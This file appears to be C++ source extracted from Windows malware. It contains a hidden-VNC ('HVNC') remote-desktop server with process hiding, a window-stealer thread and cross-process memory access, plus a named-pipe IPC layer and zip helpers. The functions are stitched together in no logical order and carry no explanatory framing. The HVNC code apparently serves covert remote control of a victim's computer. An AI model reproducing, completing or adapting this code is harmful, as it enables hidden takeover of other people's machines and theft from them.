SYSLIBFUNC(HANDLE) IPC_CreateServerW(LPCWSTR lpName,BOOL bSecure) { HANDLE hServer=NULL; LPWSTR lpPipe=SYSLIB::IPC_FormatPipeName(lpName); if (lpPipe) { HANDLE hPipe=CreateNamedPipeW(lpPipe,PIPE_ACCESS_INBOUND|FILE_FLAG_OVERLAPPED|WRITE_DAC|WRITE_OWNER,PIPE_TYPE_MESSAGE|PIPE_WAIT|PIPE_READMODE_MESSAGE,PIPE_UNLIMITED_INSTANCES,sizeof(IPC_PIPE_CONNECTION_INFO),sizeof(IPC_PIPE_CONNECTION_INFO),NMPWAIT_USE_DEFAULT_WAIT,NULL); if (hPipe != INVALID_HANDLE_VALUE) { SetObjectToLowIntegrity(hPipe); IPC_HANDLE *lpServer=SYSLIB::IPC_CreateHandle(IPC_SERVER_HANDLE); if (lpServer) { lpServer->Srv.hPipe=hPipe; lpServer->Srv.bSecure=bSecure; lpServer->Srv.hStopEvent=CreateEvent(NULL,true,false,NULL); lpServer->Srv.hServerInitEvent=CreateEvent(NULL,true,false,NULL); lpServer->Srv.hServerThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)IPC_PipeServerThread,&lpServer->Srv,0,NULL); WaitForSingleObject(lpServer->Srv.hServerInitEvent,INFINITE); SysCloseHandle(lpServer->Srv.hServerInitEvent); lpServer->Srv.hServerInitEvent=NULL; hServer=(HANDLE)lpServer; } else SysCloseHandle(hPipe); } MemFree(lpPipe); } return hServer; }
void WINAPI ThreadsWatchThread(PHVNC lpServer) { if (lpServer) { THREADITEM *lpIDs=lpServer->lpGlobalVNCData->dwIDs; while (lpIDs->dwId) { if (lpIDs->hThread) SysCloseHandle(lpIDs->hThread); memset(lpIDs,0,sizeof(THREADITEM)); lpIDs++; } while (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,1) == WAIT_TIMEOUT) { g_enter(hSendThreadMessageMutex) { lpIDs=lpServer->lpGlobalVNCData->dwIDs; for (int i=0; i < countof(lpServer->lpGlobalVNCData->dwIDs); i++) { if (!lpIDs[i].dwId) break; bool bDead=true; if (!lpIDs[i].hThread) lpIDs[i].hThread=OpenThread(THREAD_ALL_ACCESS,false,lpIDs[i].dwId); if (lpIDs[i].hThread) { DWORD dwRes; if ((dwRes=WaitForSingleObject(lpIDs[i].hThread,0)) == WAIT_TIMEOUT) bDead=false; } if (bDead) { if (lpIDs[i].hThread) SysCloseHandle(lpIDs[i].hThread); int j=i; for (; j < countof(lpServer->lpGlobalVNCData->dwIDs); j++) { if (!lpIDs[j].dwId) break; memcpy(&lpIDs[j],&lpIDs[j+1],sizeof(THREADITEM)); } memset(&lpIDs[j+1],0,sizeof(THREADITEM)); i--; } } } g_leave(hSendThreadMessageMutex) } } return; }
static void IPC_DeleteClient(IPC_ACCEPTED_CLIENT_INFO *lpClient) { SERVER_HANDLE *lpServer=(SERVER_HANDLE*)lpClient->lpServer; (((IPC_HANDLE*)lpClient->lpHandle))->SrvClient.bCalledFromClientThread=true; IPC_CloseHandle((HANDLE)lpClient->lpHandle); IPC_AppendSystemMsg(lpServer,lpClient,IPC_MSG_CLIENT_DISCONNECTED); EnterSafeCriticalSection(&lpServer->csClients); { IPC_ACCEPTED_CLIENT_INFO *lpCur=lpServer->lpClients,*lpPrev=NULL; while (lpCur != lpClient) { lpPrev=lpCur; lpCur=lpCur->lpNext; } if (lpPrev) lpPrev->lpNext=lpCur->lpNext; else lpServer->lpClients=lpCur->lpNext; } LeaveSafeCriticalSection(&lpServer->csClients); SysCloseHandle(lpClient->hClientProc); MemFree(lpClient->TmpRecvBuf.lpTmpBuffer); SYSLIB::IPC_CloseSharedHandles(&lpClient->SharedObjects); MemFree(lpClient->lpRc4Key); MemFree(lpClient); return; }
int getFileCrc(const WCHAR* filenameinzip,void*buf,unsigned long size_buf,unsigned long* result_crc) { unsigned long calculate_crc=0; int err=ZIP_OK; HANDLE fin=CreateFileW(filenameinzip,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); unsigned long size_read=0; unsigned long total_read=0; if (!fin) err=ZIP_ERRNO; if (err == ZIP_OK) { do { err=ZIP_OK; ReadFile(fin,buf,size_buf,&size_read,0); if (size_read < size_buf) { if (!_feof(fin)) err=ZIP_ERRNO; } if (size_read>0) calculate_crc=crc32(calculate_crc,(byte*)buf,size_read); total_read += size_read; } while ((err == ZIP_OK) && (size_read>0)); } if (fin) SysCloseHandle(fin); *result_crc=calculate_crc; return err; }
void change_file_date(WCHAR *filename,uLong dosdate,tm_unz tmu_date) { FILETIME ftm,ftLocal,ftCreate,ftLastAcc,ftLastWrite; HANDLE hFile=CreateFileW(filename,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); GetFileTime(hFile,&ftCreate,&ftLastAcc,&ftLastWrite); DosDateTimeToFileTime((WORD)(dosdate>>16),(WORD)dosdate,&ftLocal); LocalFileTimeToFileTime(&ftLocal,&ftm); SetFileTime(hFile,&ftm,&ftLastAcc,&ftm); SysCloseHandle(hFile); return; }
void WaitThreadsDeath(PHVNC lpServer) { EnterCriticalSection(&lpServer->ThreadsInfo.csThreads); { for (int i=0; i < lpServer->ThreadsInfo.dwThreadsCount; i++) { if (WaitForSingleObject(lpServer->ThreadsInfo.hThreads[i],1000) == WAIT_TIMEOUT) TerminateThread(lpServer->ThreadsInfo.hThreads[i],1); SysCloseHandle(lpServer->ThreadsInfo.hThreads[i]); lpServer->ThreadsInfo.hThreads[i]=NULL; } lpServer->ThreadsInfo.dwThreadsCount=0; } LeaveCriticalSection(&lpServer->ThreadsInfo.csThreads); return; }
bool CreateFromFolderProc(const LPWSTR path,const WIN32_FIND_DATAW *fileInfo,void *data) { WCHAR filePath[MAX_PATH]; if (_PathCombine(filePath,path,(LPWSTR)fileInfo->cFileName)) { HANDLE hFile=CreateFileW(filePath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL); if (hFile != INVALID_HANDLE_VALUE) { SysCloseHandle(hFile); CFFSTRUCT *cs=(CFFSTRUCT *)data; if (ArchAddFileW(cs->lpZipData,filePath,filePath+cs->cabPathOffset)) cs->filesCount++; } } return true; }
static int ZCALLBACK fclose_file_func (voidpf opaque, voidpf stream) { int ret=-1; if (stream!=NULL) { HANDLE hFile; hFile = ((WIN32FILE_IOWIN*)stream) -> hf; if (hFile != NULL) { SysCloseHandle(hFile); ret=0; } MemFree(stream); } return ret; }
static voidpf win32_build_iowin(HANDLE hFile) { voidpf ret=NULL; if ((hFile != NULL) && (hFile != INVALID_HANDLE_VALUE)) { WIN32FILE_IOWIN w32fiow; w32fiow.hf = hFile; w32fiow.error = 0; ret = MemAlloc(sizeof(WIN32FILE_IOWIN)); if (ret==NULL) SysCloseHandle(hFile); else *((WIN32FILE_IOWIN*)ret) = w32fiow; } return ret; }
bool VNCStartServer(HVNC hVNC,HVNC_CONNECTION_INFO *lpConnInfo) { bool bRet=false; if (bHVNCInit) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if ((lpHandle) && (!lpHandle->lpServer->bActive)) { memcpy(&lpHandle->ConnInfo,lpConnInfo,sizeof(lpHandle->ConnInfo)); PHVNC lpServer=lpHandle->lpServer; lpServer->bStopped=false; if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED)) GetScreenInfo(lpServer); if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { lpServer->hSharedMemMapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,lpServer->DIBInfo.dwScreenBufferSize,lpServer->Names.szSharedMemMappingName); lpServer->lpSharedMemMapping=(byte *)MapViewOfFile(lpServer->hSharedMemMapping,FILE_MAP_ALL_ACCESS,0,0,0); } InitScreen(lpServer,&lpServer->DIBInfo.lpOldBkgBits); ResetEvent(lpServer->EventsInfo.hVNCKillEvent); ResetEvent(lpServer->EventsInfo.hSendThreadMessageEvent); g_leave(hInputMutex); g_leave(hSharedMemMutex); g_leave(hPaintMutex); g_leave(hSendThreadMessageMutex); lpServer->bActive=true; lpHandle->hEvent=CreateEvent(NULL,true,false,NULL); SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)VNCServerThread,(LPDWORD)hVNC,true); WaitForSingleObject(lpHandle->hEvent,INFINITE); SysCloseHandle(lpHandle->hEvent); if (lpServer->bActive) { SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)ThreadsWatchThread,(LPDWORD)lpServer,true); bRet=true; if ((!lpServer->DeskInfo.bInputDesktop) && (!lpServer->DeskInfo.bWebCam)) SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)WndStealerThread,lpServer,true); } lpHandle->hEvent=NULL; } } return bRet; }
void SysCreateThread(PHVNC lpServer,LPTHREAD_START_ROUTINE lpAddress,LPVOID Param,bool bSaveHandle,DWORD dwPriori,HANDLE *phThread) { HANDLE hThread=CreateThread(NULL,0,lpAddress,Param,CREATE_SUSPENDED,NULL); SetThreadPriority(hThread,dwPriori); ResumeThread(hThread); if ((!bSaveHandle) && (!phThread)) SysCloseHandle(hThread); else { if (bSaveHandle) { EnterCriticalSection(&lpServer->ThreadsInfo.csThreads); lpServer->ThreadsInfo.hThreads[lpServer->ThreadsInfo.dwThreadsCount++]=hThread; LeaveCriticalSection(&lpServer->ThreadsInfo.csThreads); } if (phThread) *phThread=hThread; } return; }
/** поток для приема входящих сообщений от клиента **/ static void WINAPI IPC_ClientInputEventsServer(IPC_ACCEPTED_CLIENT_INFO *lpClient) { SERVER_HANDLE *lpServer=(SERVER_HANDLE*)lpClient->lpServer; SYSLIB::IPC_InitMessagesList(&lpClient->PostedMsgs); InitializeSafeCriticalSection(&lpClient->SentMsgs.csSent); HANDLE hClientOutputThread=SysCreateThreadSafe(NULL,0,(LPTHREAD_START_ROUTINE)IPC_ClientOutputEventsServer,lpClient,0,NULL); SetEvent(lpClient->hThreadInitEvent); while (WaitForSingleObject(lpClient->SharedObjects.hStopEvent,0) == WAIT_TIMEOUT) { if (WaitForSingleObject(lpClient->hClientProc,0) != WAIT_TIMEOUT) { /// клиентский процесс помер SetEvent(lpClient->SharedObjects.hStopEvent); break; } if (WaitForSingleObject(lpClient->SharedObjects.hCli2SrvEvent,1) == WAIT_OBJECT_0) { /// получена команда от клиента WaitForSingleObject(lpClient->SharedObjects.hProtectionMutex,INFINITE); { if (lpClient->SharedObjects.lpSharedMapping->bDirection == IPC_MESSAGE_FROM_CLI_TO_SRV) { lpClient->TmpRecvBuf.lpRc4Key=lpClient->lpRc4Key; lpClient->TmpRecvBuf.dwRc4KeySize=lpClient->dwRc4KeySize; SYSLIB::IPC_RecvMessage(&lpClient->SentMsgs,lpClient->SharedObjects.lpSharedMapping,&lpClient->TmpRecvBuf,&lpServer->ReceivedMsgs,(HANDLE)lpClient->lpHandle); } } ReleaseMutex(lpClient->SharedObjects.hProtectionMutex); } } WaitForSingleObject(hClientOutputThread,INFINITE); SysCloseHandle(hClientOutputThread); IPC_DeleteClient(lpClient); return; }
int ExtractCurrentFile(HZIP hZip,bool bSkipPath) { int r=-1; char filename_inzip[256]; unz_file_info64 file_info; ZIPDECOMPRESSION *p=(ZIPDECOMPRESSION*)hZip; int err=unzGetCurrentFileInfo64(p->hZip,&file_info,filename_inzip,sizeof(filename_inzip),NULL,0,NULL,0); if (err == UNZ_OK) { bool bEncrypted=((file_info.flag & 1) != 0); if ((bEncrypted) && (!p->bEncrypted)) { ArchSetLastError(ARCH_ZIP_IS_ENCRYPTED); return -1; } char *lpPassword=((bEncrypted) && (p->bEncrypted)) ? p->szPassword : 0; int err=unzOpenCurrentFilePassword(p->hZip,lpPassword); if (err == UNZ_OK) { void *buf=_alloc(INT_BUF_SIZE); if (buf) { if (p->bExctractToMem) { p->lpMem=VirtualAlloc(NULL,file_info.uncompressed_size,MEM_COMMIT,PAGE_READWRITE); p->dwSize=file_info.uncompressed_size; byte *pMem=(byte*)p->lpMem; if (p->lpMem) { do { err=unzReadCurrentFile(p->hZip,pMem,INT_BUF_SIZE); if (err < 0) { VirtualFree(p->lpMem,file_info.uncompressed_size,MEM_DECOMMIT); break; } pMem+=err; } while (err > 0); } else ArchSetLastError(ARCH_NO_MEM); if (!err) r=1; } else { WCHAR *unicode_filename_inzip=OemToUnicodeEx(filename_inzip,-1), file_to_store[MAX_PATH], destPath[MAX_PATH], *filename=unicode_filename_inzip; if (bSkipPath) { WCHAR *p,*filename_withoutpath; p=filename_withoutpath=unicode_filename_inzip; while ((*p) != '\0') { if ((*p == '/') || (*p == '\\')) filename_withoutpath=p+1; p++; } filename=filename_withoutpath; } int dwLen=wsprintfW(destPath,L"%s\\%s",p->strOutputDir,filename); for (int i=0; i < dwLen; i++) { if (destPath[i] == '/') destPath[i]='\\'; } lstrcpyW(file_to_store,destPath); if (PathRemoveFileSpecW(destPath) != FALSE) CreateDirectoryTree(destPath); MemFree(unicode_filename_inzip); HANDLE fout=CreateFileW(file_to_store,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL); do { DWORD dwSize; err=unzReadCurrentFile(p->hZip,buf,INT_BUF_SIZE); if (err < 0) break; if (!WriteFile(fout,buf,err,&dwSize,0)) { err=-1; break; } } while (err > 0); SysCloseHandle(fout); if (!err) { change_file_date(file_to_store,file_info.dosDate,file_info.tmu_date); r=1; } else DeleteFileW(file_to_store); } MemFree(buf); } unzCloseCurrentFile(p->hZip); } } return r; }
static bool IPC_AddNewClient(SERVER_HANDLE *lpServer,HANDLE hProc,IPC_CONNECTION_INFO *lpConnInfo) { bool bRet=false; EnterSafeCriticalSection(&lpServer->csClients); { IPC_ACCEPTED_CLIENT_INFO *lpClient=(IPC_ACCEPTED_CLIENT_INFO*)MemAlloc(sizeof(IPC_ACCEPTED_CLIENT_INFO)); do { if (!lpClient) break; if (!DuplicateHandle(hProc,lpConnInfo->hSrv2CliEvent,GetCurrentProcess(),&lpClient->SharedObjects.hSrv2CliEvent,0,false,DUPLICATE_SAME_ACCESS)) break; if (!DuplicateHandle(hProc,lpConnInfo->hCli2SrvEvent,GetCurrentProcess(),&lpClient->SharedObjects.hCli2SrvEvent,0,false,DUPLICATE_SAME_ACCESS)) break; if (!DuplicateHandle(hProc,lpConnInfo->hStopEvent,GetCurrentProcess(),&lpClient->SharedObjects.hStopEvent,0,false,DUPLICATE_SAME_ACCESS)) break; if (!DuplicateHandle(hProc,lpConnInfo->hProtectionMutex,GetCurrentProcess(),&lpClient->SharedObjects.hProtectionMutex,0,false,DUPLICATE_SAME_ACCESS)) break; if (!DuplicateHandle(hProc,lpConnInfo->hSharedMapping,GetCurrentProcess(),&lpClient->SharedObjects.hSharedMapping,0,false,DUPLICATE_SAME_ACCESS)) break; lpClient->SharedObjects.lpSharedMapping=(IPC_COMMUNICATION_BUFFER*)MapViewOfFile(lpClient->SharedObjects.hSharedMapping,FILE_MAP_WRITE|FILE_MAP_READ,0,0,0); if (!lpClient->SharedObjects.lpSharedMapping) break; lpClient->SharedObjects.lpSharedMapping->bDirection=IPC_MESSAGE_BAD_DIRECTION; lpClient->lpServer=lpServer; lpClient->hClientProc=hProc; if (!lpServer->lpClients) lpServer->lpClients=lpClient; else { IPC_ACCEPTED_CLIENT_INFO *lpCur=lpServer->lpClients; while (lpCur->lpNext) lpCur=lpCur->lpNext; lpCur->lpNext=lpClient; } if (lpServer->bSecure) { DWORD dwKeySize; do { dwKeySize=xor128(256); } while (dwKeySize <= 20); StrGenerateA(lpConnInfo->szRc4Key,dwKeySize,STRGEN_STRONGPASS); lpConnInfo->dwRc4KeySize=dwKeySize; lpClient->lpRc4Key=(PCHAR)MemCopyEx(lpConnInfo->szRc4Key,dwKeySize); lpClient->dwRc4KeySize=dwKeySize; } IPC_HANDLE *lpHandle=SYSLIB::IPC_CreateHandle(IPC_ACCEPTED_CLIENT); lpClient->lpHandle=lpHandle; lpHandle->SrvClient.lpClient=lpClient; lpClient->hThreadInitEvent=CreateEvent(NULL,false,false,NULL); ThreadsGroup_CreateThread(lpServer->hEventsThreadsGroup,0,(LPTHREAD_START_ROUTINE)IPC_ClientInputEventsServer,lpClient,NULL,NULL); WaitForSingleObject(lpClient->hThreadInitEvent,INFINITE); SysCloseHandle(lpClient->hThreadInitEvent); IPC_AppendSystemMsg(lpServer,lpClient,IPC_MSG_CLIENT_CONNECTED); bRet=true; } while (false); if ((!bRet) && (lpClient)) { SYSLIB::IPC_CloseSharedHandles(&lpClient->SharedObjects); MemFree(lpClient); } } LeaveSafeCriticalSection(&lpServer->csClients); return bRet; }
extern "C" bool ArchAddFileW(HZIP hZip,WCHAR *pstrSourceFile,WCHAR *pstrDestFile) { bool r=false; if ((hZip) && (((ZIPCOMPRESSION *)hZip)->bHandleType == HT_COMPRESSOR) && (pstrSourceFile) && (pstrDestFile)) { int lDest,lSrc; if (((lDest=lstrlenW(pstrDestFile)) < MAX_PATH-1) && ((lSrc=lstrlenW(pstrSourceFile)) < MAX_PATH-1)) { ZIPCOMPRESSION *p=(ZIPCOMPRESSION *)hZip; char *file=UnicodeToOemEx(pstrDestFile,lDest); if (file) { void *buf=_alloc(INT_BUF_SIZE); if (buf) { p->bInMem=false; zip_fileinfo zi={0}; filetime(pstrSourceFile,&zi.tmz_date,&zi.dosDate); char *lpPassword=NULL; unsigned long crcFile=0; if (p->bEncrypted) { getFileCrc(pstrSourceFile,buf,INT_BUF_SIZE,&crcFile); lpPassword=p->szPassword; } int err=zipOpenNewFileInZip3_64(p->hZip,file,&zi,NULL,0,NULL,0,NULL,(p->dwCompLevel>0) ? Z_DEFLATED:0,p->dwCompLevel,0,-MAX_WBITS,DEF_MEM_LEVEL,Z_DEFAULT_STRATEGY,lpPassword,crcFile,0); if (err == ZIP_OK) { HANDLE fin=CreateFileW(pstrSourceFile,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); if (fin != INVALID_HANDLE_VALUE) { unsigned long size_read = 0; do { err=ZIP_OK; ReadFile(fin,buf,INT_BUF_SIZE,&size_read,0); if (size_read < INT_BUF_SIZE) { if (!_feof(fin)) err=ZIP_ERRNO; } if (size_read>0) err=zipWriteInFileInZip(p->hZip,buf,size_read); } while ((err == ZIP_OK) && (size_read>0)); SysCloseHandle(fin); if (err<0) err=ZIP_ERRNO; else { err=zipCloseFileInZip(p->hZip); r=true; } } } MemFree(buf); } } MemFree(file); } } else ArchSetLastError(ARCH_INVALID_PARAMETER); return r; }
static void WINAPI IPC_PipeServerThread(SERVER_HANDLE *lpHandle) { OVERLAPPED ol={0}; ol.hEvent=CreateEvent(NULL,true,false,NULL); ConnectNamedPipe(lpHandle->hPipe,&ol); SetEvent(lpHandle->hServerInitEvent); lpHandle->hEventsThreadsGroup=ThreadsGroup_Create(); InitializeSafeCriticalSection(&lpHandle->csClients); SYSLIB::IPC_InitMessagesList(&lpHandle->ReceivedMsgs); InitializeSafeCriticalSection(&lpHandle->LastMsg.csLastMsg); IPC_PIPE_CONNECTION_INFO PipeConnInfo; while (WaitForSingleObject(lpHandle->hStopEvent,1) == WAIT_TIMEOUT) { if (WaitForSingleObject(ol.hEvent,0) == WAIT_OBJECT_0) { DWORD dwReaded=0; if ((ReadFile(lpHandle->hPipe,&PipeConnInfo,sizeof(PipeConnInfo),&dwReaded,NULL)) && (dwReaded > 0)) { HANDLE hProc=SysOpenProcess(PROCESS_DUP_HANDLE|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_VM_OPERATION|SYNCHRONIZE|PROCESS_QUERY_INFORMATION,PipeConnInfo.dwNewClientPID); if (hProc) { bool bDone=false; HANDLE hEvent; if (DuplicateHandle(hProc,PipeConnInfo.hEvent,GetCurrentProcess(),&hEvent,0,false,DUPLICATE_SAME_ACCESS)) { IPC_CONNECTION_INFO IpcConnInfo={0}; SIZE_T dwRead; ReadProcessMemory(hProc,PipeConnInfo.lpConnectionInfo,&IpcConnInfo,sizeof(IpcConnInfo),&dwRead); bDone=IPC_AddNewClient(lpHandle,hProc,&IpcConnInfo); if (bDone) { DuplicateHandle(GetCurrentProcess(),GetCurrentProcess(),hProc,&IpcConnInfo.hServerProcess,0,false,DUPLICATE_SAME_ACCESS); SIZE_T dwWrite; WriteProcessMemory(hProc,PipeConnInfo.lpConnectionInfo,&IpcConnInfo,sizeof(IpcConnInfo),&dwWrite); } SetEvent(hEvent); SysCloseHandle(hEvent); } if (!bDone) SysCloseHandle(hProc); } } DisconnectNamedPipe(lpHandle->hPipe); ResetEvent(ol.hEvent); ConnectNamedPipe(lpHandle->hPipe,&ol); } } SysCloseHandle(ol.hEvent); SysCloseHandle(lpHandle->hPipe); /// останавливаем добавленных клиентов EnterSafeCriticalSection(&lpHandle->csClients); { IPC_ACCEPTED_CLIENT_INFO *lpClient=lpHandle->lpClients; while (lpClient) { SetEvent(lpClient->SharedObjects.hStopEvent); lpClient=lpClient->lpNext; } } LeaveSafeCriticalSection(&lpHandle->csClients); ThreadsGroup_WaitForAllExit(lpHandle->hEventsThreadsGroup,INFINITE); ThreadsGroup_CloseGroup(lpHandle->hEventsThreadsGroup); DeleteSafeCriticalSection(&lpHandle->csClients); /// очищаем очередь сообщений SYSLIB::IPC_CleanupMessagesList(&lpHandle->ReceivedMsgs); if (lpHandle->LastMsg.lpLastMsg) SYSLIB::IPC_FreeLastMsg(lpHandle->LastMsg.lpLastMsg->Msg.hSender,&lpHandle->LastMsg,true); return; }
void VNCStopServer(HVNC hVNC,DWORD dwFlags) { if (!bHVNCInit) return; HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if (!lpHandle) return; PHVNC lpServer=lpHandle->lpServer; if (!lpServer) return; EnterCriticalSection(&csHVNC); { if (!lpServer->bStopped) { if (lpServer->rfbScreen) { if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { UnmapViewOfFile(lpServer->lpSharedMemMapping); SysCloseHandle(lpServer->hSharedMemMapping); lpServer->lpSharedMemMapping=NULL; } rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen; lpServer->bActive=false; SetEvent(lpServer->EventsInfo.hVNCKillEvent); WaitThreadsDeath(lpServer); rfbShutdownServer(rfbScreen,TRUE); lpServer->bUpdateThreadStarted=false; if (rfbScreen->authPasswdData) { PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData; for (int i=0; lppPasswords[i]; i++) MemFree(lppPasswords[i]); MemFree(lppPasswords); rfbScreen->authPasswdData=NULL; } VirtualFree(rfbScreen->frameBuffer,0,MEM_DECOMMIT); rfbScreenCleanup(rfbScreen); lpServer->rfbScreen=NULL; if (lpServer->TaskSwitcherInfo.bTaskSwitcherIsShown) DestroyTaskSwitcherWnd(lpServer,false); if (lpServer->WndWatcherInfo.lpZOrderList) { Z_ORDER_LIST_ITEM *lpItem=lpServer->WndWatcherInfo.lpZOrderList; while (lpItem) { Z_ORDER_LIST_ITEM *lpPrev=lpItem; lpItem=lpItem->lpNext; MemFree(lpPrev); } lpServer->WndWatcherInfo.lpZOrderList=NULL; StopWatcher(lpServer); } if (lpServer->DIBInfo.lpChecksums) { VirtualFree(lpServer->DIBInfo.lpChecksums,0,MEM_DECOMMIT); lpServer->DIBInfo.lpChecksums=NULL; } if (lpServer->DIBInfo.hIntermedMemDC) { SelectObject(lpServer->DIBInfo.hIntermedMemDC,lpServer->DIBInfo.hIntermedOldBitmap); DeleteObject(lpServer->DIBInfo.hIntermedMemBitmap); DeleteDC(lpServer->DIBInfo.hIntermedMemDC); lpServer->DIBInfo.hIntermedMemDC=NULL; } if (lpServer->DIBInfo.hCompDC) { SelectObject(lpServer->DIBInfo.hCompDC,lpServer->DIBInfo.hOldBitmap); DeleteObject(lpServer->DIBInfo.hBitmap); DeleteDC(lpServer->DIBInfo.hCompDC); lpServer->DIBInfo.hCompDC=NULL; } if (lpServer->DIBInfo.hTmpCompDC) { SelectObject(lpServer->DIBInfo.hTmpCompDC,lpServer->DIBInfo.hTmpOldBitmap); DeleteObject(lpServer->DIBInfo.hTmpBitmap); DeleteDC(lpServer->DIBInfo.hTmpCompDC); lpServer->DIBInfo.hTmpCompDC=NULL; } ReleaseDC(NULL,lpServer->DIBInfo.hDC); } lpServer->EventsInfo.dwClients=0; if (lpServer->hDesktop) { CloseDesktop(lpServer->hDesktop); lpServer->hDesktop=NULL; } lpServer->dwExplorersPID=0; lpServer->bStopped=true; } } LeaveCriticalSection(&csHVNC); return; }
void VNCCleanup(bool bDestroyServers) { if (bHVNCInit) { if ((!lpHandles) || ((lpHandles) && (bDestroyServers))) { if (hKillEvent) SetEvent(hKillEvent); EnterCriticalSection(&csHVNC); { HVNC_HANDLE *lpHandle=lpHandles; while (lpHandle) { SysCloseHandle(CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)DestroyThread,(LPVOID)lpHandle->hHandle,0,NULL)); lpHandle=lpHandle->lpNext; } } LeaveCriticalSection(&csHVNC); while (lpHandles) Sleep(1); if (hBlackBrush) { DeleteObject(hBlackBrush); hBlackBrush=NULL; } if (hFrameBrush) { DeleteObject(hFrameBrush); hFrameBrush=NULL; } DeleteCriticalSection(&csHVNC); if (hArrow) { DestroyCursor(hArrow); hArrow=NULL; } EnableSystemSounds(true); if (hHandlesMutex) { SysCloseHandle(hHandlesMutex); hHandlesMutex=NULL; } if (lpHandlesMapping) { UnmapViewOfFile(lpHandlesMapping); lpHandlesMapping=NULL; } if (hHandlesMapping) { SysCloseHandle(hHandlesMapping); hHandlesMapping=NULL; } if (lpSharedVNCData) { UnmapViewOfFile(lpSharedVNCData); lpSharedVNCData=NULL; } if (hSharedVNCData) { SysCloseHandle(hSharedVNCData); hSharedVNCData=NULL; } if (hMarkerMutex) { SysCloseHandle(hMarkerMutex); hMarkerMutex=NULL; } if (hKillEvent) { SysCloseHandle(hKillEvent); hKillEvent=NULL; } if (hDispChangeEvent) { SysCloseHandle(hDispChangeEvent); hDispChangeEvent=NULL; } if (hVNCFakeWnd) { DestroyWindow(hVNCFakeWnd); hVNCFakeWnd=NULL; } bHVNCInit=false; } } return; }
bool VNCInit(bool bHideProcesss) { if (bHVNCInit) return false; do { MemInit(); InitializeCriticalSection(&csHVNC); MessageBoxTimeout=(_MessageBoxTimeout)GetProcAddress(GetModuleHandle(_T("user32")),"MessageBoxTimeoutA"); if (!MessageBoxTimeout) break; chksum_crc32gentab(); OSVERSIONINFO osvi; osvi.dwOSVersionInfoSize=sizeof(osvi); GetVersionEx(&osvi); bXP=(osvi.dwMajorVersion <= 5); hDefaultDesktop=OpenDesktop(_T("default"),0,FALSE,GENERIC_ALL); hBlackBrush=(HBRUSH)GetStockObject(BLACK_BRUSH); HBITMAP hTmpBmp=CreateBitmap(8,8,1,1,&wBrush); hFrameBrush=CreatePatternBrush(hTmpBmp); DeleteObject(hTmpBmp); ChooseBestSyncProc(); CheckPCPerfomance(); dwDoubleClickTime=GetDoubleClickTime(); dwLocalesNum=GetKeyboardLayoutList(countof(hklLocales),hklLocales); hArrow=LoadCursor(NULL,IDC_ARROW); GetIconInfo(hArrow,&iiCur); DeleteObject(iiCur.hbmMask); DeleteObject(iiCur.hbmColor); hKillEvent=CreateEvent(NULL,true,false,HVNC_KILL_EVENT_NAME); if ((!hKillEvent) || (GetLastError() == ERROR_ALREADY_EXISTS)) #ifndef _DEBUG break; #else ; #endif hHandlesMutex=CreateMutex(NULL,false,HVNC_HANDLES_MUTEX_NAME); if ((!hHandlesMutex) || (GetLastError() == ERROR_ALREADY_EXISTS)) #ifndef _DEBUG break; #else ; #endif hHandlesMapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,300*sizeof(DWORD),HVNC_HANDLES_MAPPING_NAME); if ((!hHandlesMapping) || (GetLastError() == ERROR_ALREADY_EXISTS)) #ifndef _DEBUG break; #else ; #endif lpHandlesMapping=(DWORD *)MapViewOfFile(hHandlesMapping,FILE_MAP_ALL_ACCESS,0,0,0); if (!lpHandlesMapping) #ifndef _DEBUG break; #else ; #endif hSharedVNCData=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,sizeof(SHARED_VNC_DATA),HVNC_SHARED_VNC_MAPPING_NAME); if ((!hSharedVNCData) || (GetLastError() == ERROR_ALREADY_EXISTS)) #ifndef _DEBUG break; #else ; #endif lpSharedVNCData=(SHARED_VNC_DATA *)MapViewOfFile(hSharedVNCData,FILE_MAP_ALL_ACCESS,0,0,0); if (!lpSharedVNCData) #ifndef _DEBUG break; #else ; #endif if (bHideProcesss) hMarkerMutex=RegisterHiddenProcess(); hDispChangeEvent=CreateEvent(NULL,false,false,HVNC_DISP_CHANGE_EVENT_NAME); if ((!hDispChangeEvent) || (GetLastError() == ERROR_ALREADY_EXISTS)) #ifndef _DEBUG break; #else ; #endif SysCloseHandle(CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)FakeVNCWndThread,NULL,0,NULL)); bHVNCInit=true; } while (false); if (!bHVNCInit) { if (hKillEvent) { SysCloseHandle(hKillEvent); hKillEvent=NULL; } bHVNCInit=true; VNCCleanup(true); } return bHVNCInit; }
